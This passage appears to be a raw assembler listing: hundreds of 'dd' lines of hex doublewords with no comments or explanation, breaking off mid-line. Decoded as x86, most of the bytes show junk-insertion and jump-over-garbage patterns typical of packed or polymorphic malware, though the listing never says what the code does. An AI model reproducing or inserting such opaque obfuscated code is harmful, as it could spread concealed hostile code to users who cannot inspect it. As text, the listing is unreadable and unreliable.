723FA81Ah, 5965A00Bh, 5D15B5A7h, 5AF98EA9h, 660447C7h dd 6A006769h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8B22C351h, 4F62D085h, 89F18B06h dd 0EE90C47h, 12000000h, 268DCECAh, 0FBAD062Fh, 617B6CF6h dd 0CC858BB8h, 8B064F62h, 48101D95h, 8478906h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 26C35545h, 0D47E824Eh dd 0AE9h, 4329F00h, 1BE13AEFh, 58FB2023h, 2991B533h, 8D8D0648h dd 64830A9h, 45958Bh, 0E9500648h, 10h, 88D11FB1h, 1E6BFD31h dd 0A9EF89B8h, 81C29228h, 29240C89h, 4829B18Dh, 0C1B5FF06h dd 6A064811h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 5F4DC353h, 95A5A5F5h, 812A595Eh dd 6850F60h, 9000000h, 4810E9B5h, 5E686106h, 5326805Bh dd 815A31B2h, 4B5E2434h, 11E92680h, 33000000h, 0EE9953A5h dd 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 6DC28166h, 45B5FF81h dd 89064813h, 480D319Dh, 6AD0FF06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1B39C351h dd 2158B39Bh, 0E281F78Ah, 2B04C5EEh, 0B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0D7517604h, 0C00B9B68h, 29840Fh, 0B58B0000h, 6481A41h dd 2B5DB5FFh, 8A0F0648h, 4, 48AABA66h, 0E7195FFh, 800F0648h dd 1, 21958BF5h, 8B064827h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0AD2567A1h dd 958BCB58h, 6482B35h, 1299BD83h, 75000648h, 35BD8309h dd 6480Dh, 53501974h, 2DB8C08Bh, 89000004h, 482FF985h dd 0CB9D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h dd 2DB85350h, 89000004h, 482FF985h, 6C9D8D06h, 0FF064AA1h dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0B02EC356h, 18C28104h, 6A30AB26h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0C03C355h, 950B6EBBh, 6480E85h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B4707C3h, 4704EBC0h, 0E977D31Bh, 4CCh, 2C4C43E2h, 95F7F270h dd 197B66F9h, 8CECE58Dh, 0F7959410h, 33BF87ECh, 0A046523Eh dd 2ECBC7A5h, 0D65D492Bh, 8B22B1D3h, 739D7533h, 2AFD437Ch dd 4140EC80h, 5EE17330h, 0DD753243h, 1EA0B63Dh, 0B4357203h dd 61946821h, 0CEFBCA0h, 0FF7B09A6h, 61029EFAh, 0A5BEF362h dd 5359D3DCh, 7667217Dh, 0A757624h, 0FA96258Dh, 7F0D7A79h dd 2C65F0F5h, 5A19B93h, 406FC73Ah, 0FBD36A69h, 762490BDh dd 3F4C49EBh, 0CD65027Eh, 6A012C93h, 24905414h, 0AF076076h dd 274540E3h, 0A9CBCE6Bh, 7170FDh, 82F3EE70h, 38494CF6h dd 5ECACD68h, 0DFADDAC9h, 0B13D5A57h, 3B5235CAh, 760702A1h dd 702FA109h, 6E0A0DA8h, 0C5B2B132h, 24913075h, 0FCA31F76h dd 0E15053C8h, 4989DDh, 85120000h, 3C8AFBFEh, 7624327Ah dd 82A219D5h, 0DDE10E99h, 143h, 0FF85D800h, 0D80E9C0Eh dd 71FED9EEh, 58DB7500h, 0E74F2C5Dh, 0FF8C892Bh, 881F05ADh dd 446F1C9Dh, 61032996h, 0EB880464h, 7B158CECh, 4A4FEBE5h dd 804265CDh, 0D84F5AECh, 2432C286h, 0C9610E76h, 0DFACAD49h dd 552227CDh, 648C734Dh, 0EFBBD9D8h, 60304144h, 0BE55C0DFh dd 33115727h, 0D0DF7624h, 2432C682h, 0E1A7F776h, 0EF762432h dd 1FB7F080h, 637E0090h, 0EAFC8612h, 7F3C4D48h, 0E0DA81FEh dd 5D09E23Bh, 104DC6EEh, 8697DDE1h, 0C000000h, 0D395E980h dd 4762432h, 2432EEAAh, 0CFBDFA76h, 0E28E0AA0h, 0C20378EFh dd 0C402F6F9h, 235051D1h, 4E6DC542h, 0C1BEAD32h, 0A14B30EAh dd 28640405h, 0ACFC8D8Ch, 537C0D04h, 70C38E7h, 94DDE1C4h dd 0D47A7DF8h, 5308h, 0F9859300h, 4CD36DF8h, 0EB432051h dd 9C27B9CCh, 0F8B00E99h, 0C4762432h, 0FA8713BBh, 3F484FF4h dd 0A5766242h, 0C9A6271Ah, 0E8C65D48h, 7624AFB0h, 0E1DB733Ch dd 644AF63Ah, 3E5ADBDEh, 0FAFF8595h, 32783D8Dh, 1BD77624h dd 0E9B80A4h, 141DDE1h, 0DA000000h, 96E7E285h, 0D7A79FAh dd 0CC13C88Ah, 1CB2B530h, 9CFCEB7Ch, 0CE59033Ch, 6C46C9F0h dd 1D6A157Ch, 76E1E48Fh, 46C98FDFh, 9C177C6Ch, 96F94CBBh dd 1A9563Ah, 8B8E3561h, 902A6CFAh, 21AD7C6Ch, 250DB67Ah dd 88E98683h, 0B63D690Bh, 0DB6C2B3h, 4F217936h, 0ACAB4890h dd 53F72CCCh, 0FF2DDBA9h, 76000000h, 49DC7EB9h, 6C41B075h dd 0A7B047Ch, 54E8F57Eh, 0BDFBABAEh, 0B7C6C40h, 0E178EF6Ch dd 4134744Ah, 0E7807C6Ch, 6C40F1B7h, 4441A7Ch, 0D07C6C41h dd 4EDAA5D7h, 7909A1A4h, 0F283862Dh, 68151DA6h, 0E8A0FE69h dd 0F47C6C40h, 2F7D0A8Bh, 0A2FE8F82h, 90911101h, 833F6213h dd 2D9F07DCh, 0A09AA7Eh, 55CE6Eh, 318FDBA9h, 14000000h dd 4ED97BB9h, 24338870h, 149F3176h, 0AB036011h, 0F5F0730Fh dd 0F1B70774h, 36762432h, 1321C784h, 2088E671h, 4C762433h dd 63B74123h, 2C000000h, 4D44EC80h, 6C2E09E5h, 4E6CA5F9h dd 39D7C6Ch, 0ACCC6267h, 49E3B2C3h, 8B07AFAAh, 138FEDE8h dd 56E49590h, 7C6C4F0Dh, 1DC78436h, 68049396h, 4161C9C8h dd 198C4E69h, 0BBB95D45h, 9FEC8B82h, 1263660Dh, 0D518C773h dd 514FBE3Bh, 7A6E6755h, 0E380F17Eh, 2C8F34Bh, 0BAD73B93h dd 96117C7Ah, 7EB9690Ah, 0BB749DCh, 0A8387936h, 317E0F0Ah dd 40A2FC99h, 0A87C739Eh, 3FC458CFh, 97D1AD38h, 257C739Dh dd 0B5C7F45Ah, 3D690B0Eh, 101EA0B6h, 9213908Fh, 94E55E5h dd 6F23EE10h, 0DACB68B0h, 0E9B9BC46h, 0EDF732AFh, 6CEA863Dh dd 3A99AA0Eh, 405C3CBDh, 210AB7A3h, 0F8310B4Dh, 51DED9EDh dd 38D4A3D0h, 39D44FA6h, 754C5E0h, 0C0603086h, 215E4DD2h dd 13B2C340h, 0B330F8A7h, 758CCCA2h, 5F58EDF7h, 5DE6B2DEh dd 255E2946h, 0C992A566h, 6D6C08D3h, 32846ECh, 0AF000000h dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh dd 1704h, 68242C89h, 1D0h, 51240489h, 0C181E189h, 4, 8704E983h dd 895C240Ch, 0B951240Ch, 29963615h, 5D72F181h, 0C8892FD9h dd 83240C8Bh, 0B46804C4h, 89000045h, 4812424h, 424h, 68535900h dd 8, 89CB015Bh, 0C8B5B03h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 5724048Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 4AE95C24h, 47FFF90Eh, 356C38BDh, 77CDF67Ah, 4F6FA6B8h dd 0FFC50306h, 0F3E9B2E0h, 33CCC37Bh, 3DC96B32h, 5AE3414h dd 7E66331Bh, 773FCD1Eh, 1C52D24Ch, 9C335C4Dh, 3614D953h dd 1A5E7A02h, 57E5820Eh, 778DF209h, 0A7D01F69h, 491E2871h dd 6709B86Ch, 9E822h, 0CBD80000h, 0C9D9AD8Ch, 59903F96h dd 0CEB96660h, 0D2BF0F79h dd 31C18161h, 5700006Dh, 0FE8h, 82F82000h, 1C2A0278h, 23A8BE29h dd 0B8C2131Fh, 840Fh, 5A5B0000h, 1B1168h, 0AE800h, 78220000h dd 339F2CA2h, 58F394CEh, 585BDCB2h, 12E8h, 7DE5E500h, 93F45E5h dd 59C6FDDAh, 82FE842h, 0E8C8A27Ch, 0Eh, 206501A5h, 3A8465ADh dd 0A9265FA8h, 5A5B68E1h, 8B0F318Bh, 0Fh, 0AE9h, 817C3D00h dd 7D143A28h, 8183A89Eh, 0C35AB3C6h, 81F08A2Ah, 0A0CDBFC6h dd 5E828h, 98EA0000h, 0FCFA14E9h, 0E5EE815Ah, 575599F3h dd 5AD78B66h, 0FE93189h, 46000000h, 6EBA3CD9h, 0B5B91CDAh dd 13FA1377h, 0E983CFCFh, 5E804h, 65040000h, 609A4BB5h dd 5F506160h, 0E8815F61h, 1, 0FF8E850Fh, 8060FFFFh, 8D6126D4h dd 4F72168Dh, 41BD8B06h, 8906480Fh, 4814058Dh, 25B58906h dd 0C7064817h, 48302585h, 70F806h, 19958900h, 0C706481Ch dd 482AD985h, 6, 0AE800h, 35EF0000h, 0DC0ABEFBh, 58443C43h dd 0CDB52960h, 66064830h, 613B77BBh, 198D295Ah, 0FF064810h dd 481221B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 7195FFB3h, 6A06480Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0AE1CC351h dd 11DBF903h, 635D0B9h, 95FF006Ah, 648092Dh, 3AEBC08Bh dd 6C25C4EDh, 77E8790h, 8E949B5Eh, 0C7D5259Fh, 737492F2h dd 0C6CA1A6Ah, 13FF8928h, 451F85A2h, 0BDD9F921h, 7DAA246Ah dd 0DFD97B44h, 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 0C08B911Ch dd 15Ch dup(0) dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F2C35646h dd 14E9F9F9h, 25000000h, 7B8D15A5h, 84D7DDE0h, 50EA48ACh dd 1452232Dh, 0F0A3795h, 0C83h, 6890F00h, 0F000000h, 83h dd 0E870F00h, 60000000h, 0CB24EE81h, 8C0F3914h, 0 dd 66609D61h, 0E960D88Bh, 12h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh dd 0FAEE3C0Dh, 840FBAA0h, 0 aAaaj db 'aaaj',0 db 57h, 0E8h, 3 dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 8E65C357h, 880F251Eh, 1, 6A5DFCFCh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5F7AC350h dd 7FA31218h, 6E960FCh, 8000000h, 30F36C4Eh, 44016161h dd 6A0824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F30FADC3h, 58F98A65h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0DCC35242h, 0F5FC6755h, 9E9h dd 1002EE00h, 781BC8EAh, 0C39D7D85h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0F4C35141h, 47D8500Fh, 0DFBF8D11h dd 6AF945h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0B07C96C3h, 0FE960F9h, 0BF000000h, 91E05F92h dd 0EA9C7C22h, 0BBE0E91Ch, 0B70FEAD2h, 0C08B61FBh, 10E860h dd 0CA330000h, 922ECE5h, 7FD65187h, 5DFFF349h, 11E9045Bh dd 0C1000000h, 81B6EF30h, 28D89BA2h, 9094953Bh, 0E086AA3Fh dd 0A5CA815Bh, 617DE63Bh, 0D88166FCh, 0BF0FC7FEh, 11E9F0h dd 6E290000h, 24D470CFh, 7E3653ECh, 0FEA60C20h, 507117E6h dd 5023B950h, 595819A9h, 1DD78060h, 0EE8h, 0F4938300h dd 68444C4Dh, 0B5CC4DEh, 0E807185Ah, 0Eh, 0A79412FBh, 16407C46h dd 352B51E2h, 5E58746Fh, 830F6061h, 2, 0C68099B0h, 8B0F617Fh dd 2, 59BF61B1h, 806ADCB9h, 7E84AF7h, 0FE000000h, 86D6B6EAh dd 8B66AD84h, 0BA665BC2h, 0BA66B971h, 0BF0F8B51h, 0D78166D7h dd 0F6002EEh, 8166CBBFh, 615C80CAh, 0E9CA8B66h, 13h, 3329DB31h dd 0D7CA1510h, 0E07A47DBh, 0C10AF522h, 804F6FD6h, 0BF6649CCh dd 0DE9B7BFh, 0AB000000h, 0E44C6DE0h, 4B0B7BAEh, 0CC039320h dd 0C181F8F9h, 7CAC850Dh, 8E9h, 0DC9DDE00h, 641EDDCh, 8BFC605Fh dd 0CC8061CBh, 8BF6B7DFh, 66EA8AF0h, 0DE9D38Bh, 17000000h dd 3902E183h, 0F972B572h, 6D29ED54h, 8B70D280h, 0F0B70FFBh dd 66CEBF0Fh, 0E9B417BEh, 5, 91DC4082h, 0F6BF0FE6h, 800CED80h dd 0FE94CF5h, 0EB000000h, 0B7F581F3h, 9CBC7A3Bh, 0E802D62Ah dd 0C2805EEFh, 32D981F8h, 604688B7h, 0AC99E681h, 14E930C2h dd 7F000000h, 0DD9A16C8h, 5E332F59h, 0F109F4EFh, 84D245C6h dd 6118DC39h, 785BF66h, 0CE8F9h, 0B2A30000h, 0D433AD8Eh dd 0AE97D6F9h, 0BFB61584h, 8785BF5Fh, 0DE8492Bh, 26000000h dd 0D7C1ED5Ch, 0BD501A18h, 0D1C1DF1Bh, 0DF12DA81h, 0F5E1AC0h dd 83h, 11E900h, 0CFA90000h, 3D95FA85h, 4BB669BCh, 79E2AEADh dd 60EF5D2Bh, 66C0BF0Fh, 61FE73B8h, 9E8h, 8EFF8E00h, 71026990h dd 8058895Fh, 0E0B518C7h, 0A8D0FF5h, 60000000h, 0CA815A53h dd 79AEBCF0h, 0E8DA8B61h, 11h, 0A77A6C07h, 829B1C5Ch, 9C947189h dd 0B41BB482h, 58ADB132h, 0C38B6660h, 6061C38Ah, 3860Fh dd 0BF0F0000h, 10E8C8h, 21CB0000h, 62E9DEC7h, 7E49300Bh dd 88FB2F51h, 0EA81A60Bh, 83CF299h, 13E86158h, 0FE000000h dd 7564730Eh, 0A1B72BCBh, 4A42B345h, 0E5B4D440h, 0B70F7D16h dd 0BE665EDFh, 0F57AE05h, 286h, 5F30B200h, 0D9816660h dd 66617665h, 0B0EBE281h, 0B6AC781h, 14E90A65h, 8F000000h dd 95296D2h, 1A064257h, 23F13C7Eh, 0CD0C5DB6h, 605A0DA5h dd 14E9F560h, 53000000h, 0D34D051Bh, 976D0DB6h, 56F4466Fh dd 37F50195h, 6173566Ah, 14E860h, 5DD60000h, 0A416FAECh dd 6B7A28C1h, 1039D00Dh, 9D81CBFBh, 0F95B2FD5h, 5A506161h dd 54C28166h, 59B860C5h, 61172FB4h, 0F9CB8B66h, 0EE9h dd 0D76A8E00h, 0EA7C90FBh, 53B3847Ch, 0BA76B90Fh, 3F5BDB21h dd 7FD480F8h, 7E9h, 0B3C95C00h, 0CD686906h, 0E8CB8B66h dd 0Dh, 3B60D229h, 3DC3AC2Dh, 8ACFA88Ah, 0C18B66C2h, 9E8505Eh dd 0E000000h, 0E799BA59h, 0FEE2251Ah, 5E59D48Ah, 80FB8B66h dd 8E978DDh, 0F4000000h, 37FCAA9Dh, 0E8E5DEEBh, 0Ch, 1F0C877Eh dd 9614E582h, 0A628FD5Ch, 9E95Fh, 76E40000h, 26B26B71h dd 8047CD46h, 0F28123D2h, 23583CCCh, 81663FB6h, 0F345EF7h dd 484h, 0B4B86600h, 0D4A4BA33h, 0BA664A8Eh, 0BB66A418h dd 81F975DFh, 29898FC0h, 0CE828h, 7EE60000h, 0CF29150h dd 0BC6B6B98h, 0E4B9439Fh, 5A22ACFFh, 46B622BFh, 51F7815Ch dd 8035EB42h, 0E9F905F0h, 14h, 9D562C8Bh, 193F55C4h, 83679FC0h dd 7190E631h, 0F436197Dh, 60D8B70Fh, 6E9h, 5033E900h, 0E9B62A7Ch dd 11h, 129DEC2Eh, 31E97F36h, 0D411FC6Ch, 0EC4B6757h, 8B606148h dd 0CE9C7h, 8DB70000h, 0D885A515h, 11222462h, 8A61F042h dd 66DC8ACEh, 8E8F38Bh, 0AA000000h, 206B6FB2h, 0FCCA5673h dd 0CE8B665Fh, 0D2B86660h, 0C08166D7h, 0E9618F74h, 5, 0F6E66F37h dd 0CA51B9A1h, 13E86A5Fh, 1B000000h, 25400106h, 14ECB710h dd 0AE6D1A1Fh, 0C33D52A2h, 0F58639Ch, 0C8Eh, 68A0F00h dd 81000000h, 96A239EAh, 66D48A11h, 8B0FCF8Bh, 6, 0FBFCD381h dd 8E82CD5h, 27000000h, 58B2FD6Eh, 0FD22686h, 38Bh, 0F98B6600h dd 12E859h, 8B770000h, 0A8E6F944h, 3B44BD7Bh, 88D11FB1h dd 1E6BFD31h, 6AB5EA81h, 66580B93h, 621ED081h, 10E9F78Bh dd 9000000h, 0E3A3A8Eh, 3EC1A277h, 4A628EA1h, 668B0360h dd 0ED99C881h, 8E8h, 5D259700h, 2A605B39h, 2890FF2h, 0B6000000h dd 816658D0h, 81FC06F3h, 0B6B61DD0h, 3464BF65h, 0FB8B7910h dd 0C870Fh, 830F0000h, 6, 870Fh, 8B660000h, 57C2B4F8h dd 10E9h, 800D1B00h, 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h dd 820F5F76h, 3, 0E9CFBF0Fh, 6, 46ABB689h, 0C8B62F38h dd 0CE9h, 580C3200h, 0C2BF5AD0h, 0F6110EACh, 8C0FAAh, 66000000h dd 880FD38Bh, 0Ah, 5E9h, 7DFE5F00h, 81609270h, 0B35505E6h dd 0CE8B6656h, 31BE6661h, 48E0F6Ah, 60000000h, 0F615E56h dd 0BA66F9B7h, 8E9B153h, 5A000000h, 0E63C4590h, 66F32575h dd 0B96107BBh, 7C4D3B62h, 7E9h, 94768100h, 1838897Bh, 14E8h dd 0D5470C00h, 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh dd 0F575B1Bh, 685h, 8A0F00h, 5F000000h, 0CE857h, 8A6C0000h dd 237E8BE1h, 8A0BAC95h, 22B622D6h, 0C0BB5A5Eh, 0E84861E6h dd 0Bh, 6C83B40Ah, 8BC2ACD6h, 661AD1A1h, 5AC8C8BBh, 97CA8166h dd 0E8CF8BC8h, 12h, 3FB9B657h, 0EDFA21Dh, 9563D742h, 0F8EA206Ch dd 5056A88Ch, 0F5E5F5Bh, 281h, 66D38B00h, 5E9D68Bh, 0CE000000h dd 83E9116Bh, 890F6053h, 0 dd 5E61D18Ah, 11E857h, 0BDB40000h, 5B04AE17h, 0E2A9D94Dh dd 23DE819Ah, 0E82899B5h, 0Fh, 37079D6Bh, 0D55EF98Ch, 0DE2F0EE2h dd 59919141h, 8B0F595Bh, 19h, 14E9h, 3B39FD00h, 79E9F754h dd 423883A0h, 0F51FB5D1h, 0D67D9C65h, 8676BB33h, 8D0F6251h dd 3, 0E9F0BF0Fh, 8, 533EE39Ch, 0AA30D6E8h, 0F5D38B66h dd 0E5F18166h, 0BB42B926h, 810F467Ah, 3, 52F6BF0Fh, 31EB8166h dd 81665E29h, 813AD9E1h, 23042AD9h, 4890F68h, 66000000h dd 661F32B9h, 0E851F28Bh, 0Ch, 1AD67280h, 0A7717A6Eh, 8CE7AB9Dh dd 860Fh, 5F590000h, 3860Fh, 0F5800000h, 0AE9AAh, 995D0000h dd 0D4AAE500h, 68D51C96h, 31E337BBh, 60DE8B20h, 3A47E781h dd 890F0B2Eh, 12h, 0CE8h, 0E7A1D00h, 0E98B0AB7h, 1701A7B5h dd 0E9615FE2h, 0Dh, 57912FC7h, 2B32649Ah, 0D240581Ch, 8127B471h dd 4FBFA5D2h, 66DD8A19h, 8097CFBFh, 11E825C5h, 4C000000h dd 85EE2C5h, 52CBD6C5h, 0CA55E1ECh, 0B797E517h, 6860Fh dd 870F0000h, 0 dd 0BB66605Ah, 61F93BB7h, 13F780F8h, 0FFFBF0Fh, 0B866F6B7h dd 0F5805A19h, 0A4CBB9BDh, 0E28054C4h, 0D78BF925h, 12E8h dd 66000400h, 65752683h, 0FC53321Ch, 0C6C210Eh, 81AA25D2h dd 6C80B1D6h, 0FE95A18h, 64000000h, 791659B2h, 0B8117847h dd 9B42EA02h, 0AE89CB8h, 9C000000h, 0FC907BDDh, 0C3BD48D5h dd 5ACE8B1Ch, 1FC881F5h, 0F84CEC3Fh, 0EA72F781h, 4FB87831h dd 0F55A2E6Ah, 91C88166h, 6E98Fh, 4ACC0000h, 0D33E63AAh dd 6870BA66h, 0D34FDAB8h, 7E80Dh, 74BC0000h, 8B982CF5h dd 66F95BE7h, 531EE81h, 66C0BF0Fh, 0FAF37BFh, 8F0FF0B7h dd 2, 12E928B2h, 0C8000000h, 0D6FE16C4h, 14CAC07Eh, 0BEB81DCDh dd 0DFC75829h, 0BE9DDh, 0A31D0000h, 0AA8D8AF0h, 0E4CD65CCh dd 66CB8BC9h, 8526D981h, 88D0Fh, 8A0F0000h, 2, 0BF66F28Bh dd 8B66D1E3h, 506060D8h, 0B9EA815Eh, 616F9B85h, 0EDE08166h dd 78BA6183h, 8B7B849Eh, 0B7BA66F9h, 0FE84Fh, 5FED0000h dd 955D69D5h, 0DA1BF246h, 2554F1C7h, 0BA6653BCh, 5B5BD634h dd 1F43A3BAh, 28B0F14h, 8B000000h, 0FA8B66F8h, 0FA7B7F5h dd 0DCBFD9BFh, 0F12AF9Eh, 0BF66F7BFh, 0BE80060h, 5A000000h dd 5A23F555h, 0A6F02F80h, 8166E4DAh, 5A0B96F2h, 10E95660h dd 5B000000h, 2C0868Ah, 0F9D11EA2h, 0A3E6C2A9h, 59A139F3h dd 0B666BB60h, 13E94436h, 0C1000000h, 0E0B1C2E2h, 96A7E4F3h dd 191AB31Dh, 1AB4C3D5h, 61617B74h, 8AC18BF8h, 92BF66D9h dd 0D68B66A6h, 5BC88B53h, 1D810Fh, 810F0000h, 17h, 12E9h dd 0A98F8C00h, 9C317988h, 52799B89h, 28E4A662h, 0FB50687h dd 66FCCFBFh, 0F9BABFB9h, 0BB5E51F8h, 5E51A030h, 9E953h dd 125D0000h, 4C4C35F6h, 59D2D8D5h, 5AF18B52h, 59565360h dd 0BE959h, 1CB10000h, 0D8E0D0DEh, 0D5383C77h, 0DC8A611Ch dd 850Fh, 0F600000h, 488h, 20B86600h, 0C6B86683h, 0E78161BDh dd 3D258D7Dh, 6E8F9h, 32410000h, 0C0A1B886h, 8E95Bh, 6B5F0000h dd 0DAE26930h, 0C8808718h, 6660FCA7h, 5161C38Bh, 7E9h dd 853B3800h, 0CFEC209Eh, 0F50B45Eh, 48Ah, 66BA6600h, 0EE85Ch dd 99150000h, 0A29160C8h, 0F202F00Bh, 0D34E799Fh, 3830Fh dd 0F6800000h, 0B8665A9Ah, 8C0F53FAh, 5, 50E968B8h, 12E940h dd 13B50000h, 77F34130h, 0D541BA71h, 5081EFBh, 0CED5D21Ch dd 83DE8166h, 0CB816645h, 0BF0F427Dh, 0E9DA8BD7h, 0Eh dd 0BD739D3Fh, 1E6F7F8Ch, 22EFAD4h, 8166A4D0h, 6621FBC0h dd 12E9DF8Bh, 25000000h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h dd 0FD8D2F53h, 0E0B1F92Fh, 6652C18Bh, 0B0D5D781h, 0DA81665Ah dd 870F0920h, 0Eh, 9E9h, 6C18E900h, 5B180E15h, 0BF0F4E31h dd 0F9F08BC2h, 85CB8166h, 10E993h, 86270000h, 45477C9Bh dd 0ACADB1D9h, 0F0ACCC43h, 50F8C27Dh, 2880Fh, 0D08B0000h dd 58A0F58h, 0BA000000h, 2C6C2034h, 0EB6BBB66h, 0AE9h dd 573E7F00h, 81B1E5A1h, 0E9DE090Bh, 0Fh, 8EC80718h, 2A894D8Bh dd 0D736DD1h, 66244548h, 0DE9DE8Bh, 0BE000000h, 8E3E84D9h dd 4EDC27E1h, 7CA5B258h, 0E8ACED80h, 0Bh, 8FE2DC9Bh, 6C3446AFh dd 8B006AB1h, 11E95EDAh, 89000000h, 0A24753ABh, 20F540B1h dd 89A76D1Dh, 0B1621FACh, 63E7BA66h, 13E9h, 9B5E0700h dd 259F8E94h, 92F2C7D5h, 1A6A7374h, 8928C6CAh, 0BBD64BEh dd 0D8B70F46h, 81661DB6h, 0B9AB6FE9h, 1A8E1C0Bh, 6810FFCh dd 81000000h, 5D0534E6h, 850F6018h, 0 dd 10E861h, 0D5A00000h, 0ABDB4BD4h, 493E19F5h, 64E5D2CCh dd 0E86010B7h, 0Eh, 0DDC4E572h, 0BF47C6D3h, 133F0F29h dd 0F5A2CE2h, 8Dh, 66596100h, 2C08F381h, 0FEBF0F60h, 0F355F5BFh dd 66606155h, 0AD0C081h, 8161DE8Bh, 0CE5E77D1h, 2EA8BB16h dd 0CE806DF2h, 0E8FA8B47h, 8, 0ADD73CA4h, 4F810D02h, 0F859ACB1h dd 0F7E4B966h, 0C9806AB7h, 7DD4807Fh, 3BB819BEh, 28D0F3Fh dd 8A000000h, 0FCCABAFEh, 815004E8h, 4E2245E6h, 66FC5E37h dd 667B7AB9h, 0E95AC7BEh, 13h, 49ACF3A8h, 0E2FB7992h, 4FD60C4h dd 3ADBCCE0h, 0F5100C5h, 0E9F8F2B7h, 0Bh, 0D232B532h, 914BFA1Bh dd 0F009AFBh, 0BF66DEB7h, 0C1B0C117h, 0BE8h, 0EF649D00h dd 34AB4C9Ah, 9E1FF8F3h, 0CB50F281h, 665E067Eh, 0E91835B8h dd 9, 0FF93BCBFh, 849B6E3Dh, 5880FA0h, 0B8000000h, 2EE72CA7h dd 820FB4B5h, 17h, 12E9h, 434BE00h, 29FF579h, 4CF93A97h dd 7CECDF50h, 6025AEA6h, 0FE8h, 48FE3000h, 0A13C71Ch, 0D36F01Fh dd 282548EDh, 7E9h, 0DA8C0200h, 0ECB0C6A2h, 0CA8B6659h dd 5E861h, 0B6C60000h, 8BAF94DAh, 816659DEh, 0E9ABA1D3h dd 5, 36A02634h, 0DB8166FDh, 860F22E0h, 2, 0AE86EB1h, 1F000000h dd 71557E65h, 3EF15188h, 28BB66D1h, 14E95848h, 81000000h dd 0C7E413E9h, 4BED4EEBh, 0AE6ABF72h, 0A1710C21h, 6085F53Fh dd 7F36B8F8h, 666160E8h, 0F79F281h, 0DE8h, 0FD1B6B00h dd 796415Dh, 63FBA866h, 0C881F7D9h, 23387201h, 0BE66515Bh dd 0E95B929Dh, 12h, 0A7332619h, 9266E1FFh, 0F93BCC40h dd 1FB685E3h, 8B66A18Ch, 0D08166F8h, 0E9F956BDh, 9, 0F4F0CDB9h dd 0F3A73728h, 0F443BE1Dh, 8D0F49A7h, 2, 14BAACB1h, 0F10239Eh dd 0C18BD3BFh, 4800Fh, 0B8660000h, 800F91FAh, 0 dd 28B0F60h, 60000000h, 0AE861h, 6DE50000h, 0E2BDA13Fh dd 467E64A6h, 0EE8h, 87CBC100h, 582D2F73h, 9FF3F4Bh, 5A4BE69Ah dd 59BE6158h, 666304B6h, 0B3C608BAh, 3870F80h, 80000000h dd 8B0FC7C6h, 6, 880Fh, 0F38B0000h, 0F50FE8Bh, 684h, 8B0F00h dd 58000000h, 0F4B966F8h, 0D98BF591h, 9E9A5B3h, 0D2000000h dd 6F46289Dh, 0D43CB33Fh, 6612CF80h, 0B966F98Bh, 7E8B38Eh dd 0EE000000h, 0F23E2000h, 0CE8E923h, 0E0000000h, 65554AF9h dd 35EC063Ch, 5034A5FAh, 805B5858h, 0E860FFF0h, 6, 40CAC4FCh dd 0AE97A54h, 6B000000h, 4D026D26h, 2677229Ah, 0B70F5BF1h dd 0F88B61D3h, 0F557BF66h, 9E9h, 8AB30D00h, 400E4DCEh dd 7E86A68h, 0FF000000h, 0FB213702h, 4FBE268Ah, 5805C002h dd 8AD88B66h, 11E9E5h, 3DB40000h, 512F0745h, 40B02ACEh dd 0C2642ABAh, 6673A593h, 0F5631ABEh, 8C0Fh, 0E0810000h dd 480D8359h, 0BFDFB70Fh, 21504D13h, 0E95B57F8h, 7, 53849C16h dd 0E973854Eh, 0Bh, 0A7E4054h, 20B5389Ch, 0F1F97DDh, 180h dd 8B66FC00h, 12E9C7h, 0CD340000h, 50B7243Dh, 9AE082D0h dd 0C302887h, 0AEBC0CD6h, 8E9h, 3247E300h, 8744395Ch, 2860F22h dd 8A000000h, 8E8CFh, 2C950000h, 110AA538h, 0F598A7Ah dd 583h, 0CF816600h, 12E9E2CFh, 15000000h, 579E1275h, 9E1C7181h dd 8068E639h, 49FE932Dh, 9E8608Ch, 0E0000000h, 0D0B7A4ACh dd 0A2D7BB03h, 0B361FC59h, 870F6084h, 5, 309C49B9h, 0F88B661Bh dd 0BA66FC61h, 0E68A0789h, 1334B866h, 0F9F2B70Fh, 69C38160h dd 8B57B906h, 0F56061F3h, 27558CBEh, 0FD8A6112h, 0F41CF80h dd 28Fh, 669FB600h, 0BE0EF181h, 0E8AFDF80h, 5, 3B89FC44h dd 1DD88104h, 584342D7h, 4082BF66h, 8A60CA8Bh, 11E961E5h dd 0FE000000h, 